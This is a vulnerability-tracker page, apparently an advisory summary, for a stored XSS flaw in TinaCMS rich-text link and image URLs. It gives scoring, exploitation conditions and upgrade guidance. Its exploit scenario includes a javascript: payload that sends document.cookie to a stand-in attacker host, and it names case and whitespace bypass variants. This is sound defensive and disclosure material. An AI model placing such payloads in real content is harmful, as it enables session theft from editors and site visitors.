Skip to main content

TinaCMS EUVDEUVD-2026-41141

| CVE-2026-55661 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-18 https://github.com/tinacms/tinacms GHSA-2vcc-5v34-9jc8
4.8
CVSS 4.0 · Vendor: https://github.com/tinacms/tinacms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker authenticates as lower-privileged CMS editor
  2. Delivery
    Insert Slate link/image node with javascript: URL (case/whitespace bypass)
  3. Exploit
    Save poisoned content to CMS backend
  4. Install
    Victim opens page or CMS editor view
  5. C2
    Browser renders unsanitized href/src
  6. Execute
    Injected JavaScript executes in victim's session context
  7. Impact
    Exfiltrate cookies or perform authenticated actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold an editor-level (or higher) CMS account, or must control an external content source that is imported into TinaCMS as Slate JSON or MDX - for example, a headless Git-backed content import. The victim must subsequently render the affected content in a browser, either by viewing a published page or by opening the CMS editor on the poisoned document. Exploitation is limited to tinacms < 3.9.3 and @tinacms/mdx < 2.1.7. Key limiting factors: authenticated editor access is required for direct injection (anonymous users cannot author content by default); exploitation requires a second party to view the content (UI:R); sites where all editors are fully trusted and no external content import exists face near-zero realistic risk.

Impact

No vendor or NVD CVSS score is available; this report uses an independently assessed vector. EPSS data and CISA KEV status are absent. The stored nature of this XSS is the primary risk amplifier: a single poisoned content item can execute against highly privileged users (CMS administrators) who open the affected page long after the initial injection - a force-multiplier absent from point-in-time CVSS scoring. The requirement for an authenticated editor account (PR:L) is a meaningful constraint for single-author or tightly governed deployments, but any multi-role CMS with external contributors, contractor editors, or automated content import pipelines faces realistic exploitation risk. The bypass techniques documented in the advisory (case normalization, whitespace stripping, control-character removal) indicate the vulnerability was non-trivial to discover and exploit against naive defenses. No POC is publicly identified and no KEV listing exists, suggesting exploitation has not been observed at scale; priority should be elevated for deployments with untrusted or lower-privileged authoring accounts.

Exploit ScenarioDerived

An attacker holding a lower-privileged CMS editor account opens a TinaCMS rich-text document and inserts a link node whose url field contains javascript:fetch('https://attacker.example/c?d='+document.cookie), exploiting case or whitespace bypass to defeat any naive scheme check. When a site administrator or authenticated visitor later opens the page, the browser executes the injected script in the victim's security context, exfiltrating session tokens. No public POC is identified, but the bypass techniques are standard and well-documented.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Stored XSS in TinaCMS rich-text rendering allows any content author with editor-level access to inject javascript: or data:text/html URLs into Slate link/image nodes, which execute in the browsers of editors and site visitors when affected content is viewed. Both tinacms (< 3.9.3) and @tinacms/mdx (< 2.1.7) are confirmed affected, with the vulnerable path covering case-variant, whitespace-padded, and control-character-obfuscated scheme bypass techniques indicating deliberate evasion of naive sanitization. No public exploit or CISA KEV listing exists; vendor-released patches are available.

RemediationAI

Upgrade tinacms to version 3.9.3 or later and @tinacms/mdx to version 2.1.7 or later via npm; both patched versions are introduced in PR #7056 (https://github.com/tinacms/tinacms/pull/7056). The fix adds a sanitizeUrl() helper that lowercases, strips whitespace and control characters from URL schemes, and rejects any scheme not on an explicit allow-list; it is applied recursively to Slate trees at parse time and in the default rich-text renderers. If an immediate upgrade is not feasible, restrict rich-text content authoring strictly to fully trusted users and disable or quarantine any content import pipelines that ingest external Slate JSON or markdown - these pipelines represent the highest-risk injection path. Any custom rich-text renderer that overrides the default link or image components must apply equivalent URL scheme sanitization independently, as the fix does not retroactively harden downstream renderer overrides. See the full advisory at https://github.com/tinacms/tinacms/security/advisories/GHSA-2vcc-5v34-9jc8.

Affected VersionsENISA

tinacms < 3.9.3
@tinacms/mdx < 2.1.7

Affected Packages

npm @tinacms/mdx fix: 2.1.7
npm tinacms fix: 3.9.3
euvd tinacms_mdx fix: 2.1.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

TinaCMS uses Slate.js as its rich-text editor framework, serializing editor content as 'slatejson' - a recursive node tree where link and image nodes carry a url field. The @tinacms/mdx package (pkg:npm/@tinacms/mdx) handles parsing this Slate tree and provides the default link/image renderers. Prior to the fix, neither the parser nor the renderers validated the URL scheme, so values like javascript:alert(1), JAVASCRIPT:alert(1) (case bypass), leading-whitespace variants, or control-character-embedded strings passed directly into href and src HTML attributes. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - XSS), specifically a stored variant: the malicious payload persists in the CMS content store and fires on every subsequent render, affecting any user who views the page.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/tinacms/tinacms) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L because editor authentication is required; S:C because stored XSS crosses to victim browsers; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/tinacms/tinacms).

CVSS VectorVendor: https://github.com/tinacms/tinacms

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 01, 2026 - 21:22 NVD
4.8 (MEDIUM)

DescriptionCVE.org

TinaCMS rich-text parsing and the default link/image renderers did not sanitize the url field on Slate link/image nodes. Content containing javascript: or data:text/html URLs - including case-variant, whitespace-padded, and control-character-obfuscated forms - is rendered into href/src and executes when the content is viewed. Any actor able to author rich-text content (for example a lower-privileged editor, or imported/external content) can achieve stored XSS against editors and site viewers.

Fixed in https://github.com/tinacms/tinacms/pull/7056 via a sanitizeUrl() helper (case-insensitive, whitespace/control-character-normalized scheme allow-list) applied recursively to Slate trees at parse time and in the default rich-text rendering.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 7 npm packages depend on @tinacms/mdx (3 direct, 4 indirect)
  • 3 npm packages depend on tinacms (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 2.1.7 and other introduced versions.

Threat Intelligence Overview

EPSS Score
0.2%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy